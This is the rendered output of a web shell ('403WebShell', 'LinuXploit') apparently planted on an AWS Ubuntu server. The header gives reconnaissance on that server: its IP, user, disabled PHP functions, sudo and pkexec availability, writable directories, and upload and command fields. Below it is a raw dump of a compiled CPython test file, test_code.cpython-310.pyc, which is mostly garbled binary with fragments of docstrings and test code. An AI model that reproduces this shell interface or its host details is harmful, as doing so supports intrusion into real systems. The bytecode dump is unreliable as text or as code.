Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.10/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.10/test/__pycache__/test_code.cpython-310.pyc
o

�9j�2�@s�dZddlZddlZddlZddlZddlZzddlZWney'dZYnwddlm	Z	m
Z
mZmZm
Z
dd�Zdd�Zdd	�ZGd
d�dej�Zdd
�ZGdd�dej�ZGdd�dej�Zedd�r�edur�ejZe�dej�ZejZefe_eje_ej Z!ej"ejejfe!_ej#e!_ej$Z%ej"eje�&ej�fe%_ej#e%_da'dd�Z(ee(�Z)ee)�Z*Gdd�dej�Z+ddd�Z,e-dkr�e,�dSdS)a�This module includes tests of the code object representation.

>>> def f(x):
...     def g(y):
...         return x + y
...     return g
...

>>> dump(f.__code__)
name: f
argcount: 1
posonlyargcount: 0
kwonlyargcount: 0
names: ()
varnames: ('x', 'g')
cellvars: ('x',)
freevars: ()
nlocals: 2
flags: 3
consts: ('None', '<code object g>', "'f.<locals>.g'")

>>> dump(f(4).__code__)
name: g
argcount: 1
posonlyargcount: 0
kwonlyargcount: 0
names: ()
varnames: ('y',)
cellvars: ()
freevars: ('x',)
nlocals: 1
flags: 19
consts: ('None',)

>>> def h(x, y):
...     a = x + y
...     b = x - y
...     c = a * b
...     return c
...

>>> dump(h.__code__)
name: h
argcount: 2
posonlyargcount: 0
kwonlyargcount: 0
names: ()
varnames: ('x', 'y', 'a', 'b', 'c')
cellvars: ()
freevars: ()
nlocals: 5
flags: 67
consts: ('None',)

>>> def attrs(obj):
...     print(obj.attr1)
...     print(obj.attr2)
...     print(obj.attr3)

>>> dump(attrs.__code__)
name: attrs
argcount: 1
posonlyargcount: 0
kwonlyargcount: 0
names: ('print', 'attr1', 'attr2', 'attr3')
varnames: ('obj',)
cellvars: ()
freevars: ()
nlocals: 1
flags: 67
consts: ('None',)

>>> def optimize_away():
...     'doc string'
...     'not a docstring'
...     53
...     0x53

>>> dump(optimize_away.__code__)
name: optimize_away
argcount: 0
posonlyargcount: 0
kwonlyargcount: 0
names: ()
varnames: ()
cellvars: ()
freevars: ()
nlocals: 0
flags: 67
consts: ("'doc string'", 'None')

>>> def keywordonly_args(a,b,*,k1):
...     return a,b,k1
...

>>> dump(keywordonly_args.__code__)
name: keywordonly_args
argcount: 2
posonlyargcount: 0
kwonlyargcount: 1
names: ()
varnames: ('a', 'b', 'k1')
cellvars: ()
freevars: ()
nlocals: 3
flags: 67
consts: ('None',)

>>> def posonly_args(a,b,/,c):
...     return a,b,c
...

>>> dump(posonly_args.__code__)
name: posonly_args
argcount: 3
posonlyargcount: 2
kwonlyargcount: 0
names: ()
varnames: ('a', 'b', 'c')
cellvars: ()
freevars: ()
nlocals: 3
flags: 67
consts: ('None',)

�N)�run_doctest�run_unittest�cpython_only�check_impl_detail�
gc_collectccs6�|D]}t|�}|�d�rd|jVq|VqdS)z.Yield a doctest-safe sequence of object reprs.z<code objectz<code object %s>N)�repr�
startswith�co_name)�t�elt�r�r
�%/usr/lib/python3.10/test/test_code.py�consts�s�
�rcCs<dD]}td|t|d|�f�qtdtt|j���dS)z1Print out a text representation of a code object.)
�name�argcount�posonlyargcount�kwonlyargcount�names�varnames�cellvars�freevars�nlocals�flagsz%s: %s�co_zconsts:N)�print�getattr�tupler�	co_consts)�co�attrr
r
r�dump�sr!cCsdt��|���S)NzForeign getitem: )�super�__getitem__)�self�ir
r
r�external_getitem�sr&c@s<eZdZedd��Zedd��Zdd�Zdd�Zd	d
�ZdS)�CodeTestcCsDddl}|�ddd�}|�|jd�|�|jd�|�|jd�dS)Nr�filename�funcname�)�	_testcapi�
code_newempty�assertEqual�co_filenamer	�co_firstlineno)r$r+rr
r
r�
test_newempty�s
zCodeTest.test_newemptycs�ddlm�dd��dd�����fdd�}Gd	d
�d
t�}||dt�|j}|jdj}|�||�|�|j	j
tj@t
|j	j
��|gd��}|�|dd
�dS)Nr)�FunctionTypecs�fdd�jS)Ncs�S�Nr
r
��	__class__r
r�<lambda>��zICodeTest.test_closure_injection.<locals>.create_closure.<locals>.<lambda>)�__closure__r3r
r3r�create_closure�sz7CodeTest.test_closure_injection.<locals>.create_closurecSs|j|jdd�S)z9A new code object with a __class__ cell added to freevarsr3)�co_freevars)�replacer9)�cr
r
r�new_code�sz1CodeTest.test_closure_injection.<locals>.new_codec	s@�|j�}|jr
J��|�}|j}t||�|t�|||��dSr2)�__code__r7�__defaults__�setattr�globals)�clsr�f�code�closure�defaults�r1r8r<r
r�add_foreign_method�s


z;CodeTest.test_closure_injection.<locals>.add_foreign_methodc@seZdZdS)z-CodeTest.test_closure_injection.<locals>.ListN)�__name__�
__module__�__qualname__r
r
r
r�List�srKr#)���zForeign getitem: 1)�typesr1�listr&r#r7�
cell_contents�assertIs�assertFalser=�co_flags�inspect�	CO_NOFREE�hexr-)r$rGrK�function�	class_ref�objr
rFr�test_closure_injection�s
�zCodeTest.test_closure_injectioncCs`dd�}|j}t|�}||j|j|j|j|j|j|j|j	|j
|j|j|j
|j|j|j|j�dS)NcS�dSr2r
r
r
r
r�func�r6z'CodeTest.test_constructor.<locals>.func)r=�type�co_argcount�co_posonlyargcount�co_kwonlyargcount�
co_nlocals�co_stacksizerT�co_coder�co_names�co_varnamesr.r	r/�	co_lnotabr9�co_cellvars)r$r]r�CodeTyper
r
r�test_constructor�s(�zCodeTest.test_constructorcCs�dd�}|j}dd�}|j}ddddd	d
|jtjBfdd|jfd
|jfdd|jfddddd|jffD].\}}|j||d��|j	di||i��}|�
t||�|�Wd�n1s[wYq2dS)NcS�d}|S)NrLr
)�xr
r
rr]��z#CodeTest.test_replace.<locals>.funccSrk)NrMr
)�yr
r
r�func2�rmz$CodeTest.test_replace.<locals>.func2)r_r)r`r)rar)rbr)rcrrT)r/�drdr)re)�mynamerf)r9)�freevar)rh)�cellvar)r.�newfilename)r	�newname�co_linetable)r �valuer
)r=rTrU�CO_COROUTINErdrrfrv�subTestr:r-r)r$r]rCro�code2r rwr<r
r
r�test_replace�s6����zCodeTest.test_replacecCs2dd�}|jjdd�}}|�t|���g�dS)NcSr\r2r
r
r
r
rr]�z+CodeTest.test_empty_linetable.<locals>.func�)rv)r=r:r-rP�co_lines)r$r]r<rCr
r
r�test_empty_linetableszCodeTest.test_empty_linetableN)	rHrIrJrr0r[rjr{rr
r
r
rr'�s

$"r'cCs|t�d|ddd��uS)N�_rL���)�sys�intern)�sr
r
r�
isinternedsr�c@s`eZdZdd�Zdd�Zdd�Zedd��Zed	d
��Zedd��Z	ed
d��Z
edd��ZdS)�CodeConstsTestcCs4|D]
}||kr|Sq|�||�|�d�dS)NzShould never be reached)�assertIn�fail)r$rrw�vr
r
r�
find_consts�zCodeConstsTest.find_constcCs t|�s|�d|f�dSdS)NzString %r is not interned�r�r��r$r�r
r
r�assertIsInterned��zCodeConstsTest.assertIsInternedcCs t|�r|�d|f�dSdS)NzString %r is internedr�r�r
r
r�assertIsNotInterned"r�z"CodeConstsTest.assertIsNotInternedcC�(tddd�}|�|jd�}|�|�dS)Nzres = "str_value"�?�exec�	str_value��compiler�rr��r$rr�r
r
r�test_interned_string&�z#CodeConstsTest.test_interned_stringcCs,tddd�}|�|jd�}|�|d�dS)Nzres = ("str_value",)r�r��r�rr�r�r
r
r�test_interned_string_in_tuple,sz,CodeConstsTest.test_interned_string_in_tuplecCs4tddd�}|�|jtd��}|�t|�d�dS)Nzres = a in {"str_value"}r�r�r�r)r�r�r�	frozensetr�rr�r
r
r�!test_interned_string_in_frozenset2sz0CodeConstsTest.test_interned_string_in_frozensetcCsddd�}|�|��dS)Nr�cSs|Sr2r
)�ar
r
rrB:r|z6CodeConstsTest.test_interned_string_default.<locals>.fr�)r��r$rBr
r
r�test_interned_string_default8s
z+CodeConstsTest.test_interned_string_defaultcCr�)Nzres = "str\0value!"r�r�z
strvalue!)r�r�rr�r�r
r
r�test_interned_string_with_null>r�z-CodeConstsTest.test_interned_string_with_nullN)rHrIrJr�r�r�rr�r�r�r�r�r
r
r
rr�s



r�c@seZdZdd�ZdS)�CodeWeakRefTestcsti}tdt�|�|d}~d�_�fdd�}t�|j|�}��t|���~t���	t|������j�dS)Nz
def f(): passrBFcs
d�_dS)NT)�called)rC�r$r
r�callbackPs
z,CodeWeakRefTest.test_basic.<locals>.callback)
r�r@r��weakref�refr=�
assertTrue�boolrrS)r$�	namespacerBr��coderefr
r�r�
test_basicGszCodeWeakRefTest.test_basicN)rHrIrJr�r
r
r
rr�Esr�T��cpythoncCs|adSr2)�
LAST_FREED)�ptrr
r
r�myfreeqsr�c@s<eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
S)�CoExtracCstd�S)Nz	lambda:42)�evalr�r
r
r�get_funcyszCoExtra.get_funcc	Cs<|��}|�ttdtt�d��|�ttdtt�d��dS)N�*rp)r��assertRaises�SystemError�SetExtra�
FREE_INDEX�ctypes�c_voidp�GetExtrar�r
r
r�test_get_non_codes��zCoExtra.test_get_non_codec	CsJ|��}|�tt|jtdt�d��|�t	|jtdt�d��d�dS)Nrpr)
r�r�r�r�r=r�r�r�r-r�r�r
r
r�test_bad_index�s���zCoExtra.test_bad_indexcCs.|��}t|jtt�d��~|�td�dS)Nrp)r�r�r=r�r�r�r-r�r�r
r
r�test_free_called�szCoExtra.test_free_calledcCsn|��}t��}t|jtt�d��t|jtt�d��|�td�t��}t|jt|�|�|j	d�~dS)N��i,)
r�r�r�r�r=r�r-r�r�rw)r$rB�extrar
r
r�test_get_set�szCoExtra.test_get_setcCsZ|��}Gdd�dtj�}t|jtt�d��|||�}~|��|�	�|�
td�dS)Ncs$eZdZ�fdd�Zdd�Z�ZS)z6CoExtra.test_free_different_thread.<locals>.ThreadTestcst���||_||_dSr2)r"�__init__rB�test)r$rBr�r3r
rr��s

z?CoExtra.test_free_different_thread.<locals>.ThreadTest.__init__cSs|`|j�td�dS)N��)rBr�r-r�r�r
r
r�run�sz:CoExtra.test_free_different_thread.<locals>.ThreadTest.run)rHrIrJr�r��
__classcell__r
r
r3r�
ThreadTest�sr�r�)r��	threading�Threadr�r=r�r�r��start�joinr-r�)r$rBr��ttr
r
r�test_free_different_thread�s	
z"CoExtra.test_free_different_threadN)	rHrIrJr�r�r�r�r�r�r
r
r
rr�xs	r�cCsHddlm}t||�tttg}tdd�rtdur|�t	�t
|�dS)Nr)�	test_codeTr�)r�r�rr'r�r�rr��appendr�r)�verboser��testsr
r
r�	test_main�s


r��__main__r2).�__doc__rUr�r��unittestr�r��ImportError�test.supportrrrrrrr!r&�TestCaser'r�r�r��	pythonapi�py�	CFUNCTYPEr��freefunc�_PyEval_RequestCodeExtraIndex�RequestCodeExtraIndex�argtypes�	c_ssize_t�restype�_PyCode_SetExtrar��	py_object�c_int�_PyCode_GetExtrar��POINTERr�r��	FREE_FUNCr�r�r�rHr
r
r
r�<module>sT�	
o0
�
D
�

Youez - 2016 - github.com/yon3zu
LinuXploit